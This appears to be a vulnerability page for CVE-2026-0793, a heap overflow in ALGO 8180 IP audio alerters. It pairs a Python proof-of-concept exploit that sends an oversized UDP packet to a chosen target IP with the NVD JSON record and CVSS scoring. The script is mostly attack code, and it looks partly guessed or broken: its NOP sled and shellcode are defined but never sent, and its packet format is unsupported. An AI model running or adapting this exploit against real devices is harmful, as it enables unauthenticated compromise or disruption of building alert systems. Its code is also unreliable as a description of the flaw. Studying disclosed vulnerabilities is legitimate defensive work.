CVE-2026-0793

#!/usr/bin/env python3 """ CVE-2026-0793 PoC - ALGO 8180 IP Audio Alerter InformaCast Heap Overflow Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys def create_informacast_packet(payload_length=1024): """ Create a malformed InformaCast packet to trigger heap overflow. The packet lacks proper length validation before data copy. """ # InformaCast header header = b'ICST' # InformaCast signature # Packet type and flags packet_type = struct.pack('>H', 0x0001) # Audio告警消息类型 flags = struct.pack('>H', 0x0000) # Length field (intentionally mismatched with actual payload) length_field = struct.pack('>I', payload_length) # Payload: oversized data to trigger heap overflow # This overwrites adjacent heap memory structures overflow_payload = b'A' * payload_length # Add NOP sled and shellcode placeholder nop_sled = b'\x90' * 100 shellcode = b'\xcc' * 50 # INT3 breakpoint (placeholder) packet = header + packet_type + flags + length_field + overflow_payload return packet def exploit(target_ip, target_port=5000): """ Send exploit packet to target ALGO 8180 device. """ print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] CVE-2026-0793 - ALGO 8180 InformaCast Heap Overflow") packet = create_informacast_packet(payload_length=2048) try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) print(f"[+] Sending malicious packet ({len(packet)} bytes)...") sock.sendto(packet, (target_ip, target_port)) print("[+] Packet sent successfully") print("[!] Check device for code execution or crash") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5000 exploit(target, port)

{"cve": {"id": "CVE-2026-0793", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:07.123", "lastModified": "2026-02-18T18:51:47.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ALGO 8180 IP Audio Alerter InformaCast Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the InformaCast functionality. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28302."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por desbordamiento de búfer basado en montículo en ALGO 8180 IP Audio Alerter InformaCast. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de dispositivos ALGO 8180 IP Audio Alerter. La autenticación no es necesaria para explotar esta vulnerabilidad.\n\nLa falla específica reside en la funcionalidad InformaCast. El problema se debe a la falta de validación adecuada de la longitud de los datos proporcionados por el usuario antes de copiarlos a un búfer basado en montículo. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del dispositivo. Fue ZDI-CAN-28302."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:*", "matchCriteriaId": "853BF5C9-122B-4F47-9CE7-DA3E307130ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:*", "matchCriteriaId": "3A20E73F-D499-4973-ADDE-8B702E6F5254"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-015/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}